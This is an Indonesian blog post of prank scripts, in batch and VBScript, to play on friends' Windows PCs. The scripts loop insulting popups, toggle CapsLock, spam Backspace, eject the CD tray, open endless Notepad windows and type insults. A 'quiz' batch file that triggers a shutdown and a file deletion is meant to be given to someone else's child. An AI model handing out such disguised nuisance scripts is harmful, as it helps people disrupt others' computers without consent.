Tuesday, March 6, 2012

Script buat ngerjain teman

Udah pake IDM terbaru gan?klo belum klik disini
enakny pake 3 gan,mw tau knapa enak?klik disini
gratisan inet pake telkomsel?mau tau?klik aja gan disini



MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS:


@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN




==> save nama script diatas dg ekstensi *.bat



BIKIN SHUTDOWN + MESSAGES:


Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop




==> save nama script diatas dg ekstensi *.vbs



BUKA TUTUP CD/DVD SECARA OTOMATIS:


Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop




==> save nama script diatas dg ekstensi *.vbs




BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS:


MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop




==> save nama script diatas dg ekstensi *.vbs



OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD:


Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop




==> save nama script diatas dg ekstensi *.vbs




MEMBUKA NOTEPAD TERUS MENERUS:


@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top




==> save nama script diatas dg ekstensi *.BAT




OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU":

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "




==> save nama script diatas dg ekstensi *.vbs

BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2:



@echo off
title quiz hari ini 
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top




==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...


Cara menjalankan program jahil tersebut adalah dengan klik 2x pada file notepad yang anda buat tadi
cara untuk menghentikan script tersebut adalah sbb : buka task manager(CTRL+ALT+DEL)–>applications–>Lihat aplikasi yang dijalankan td–>klik kanan–>Go To Process–>end process pada baris yang disorot

No comments: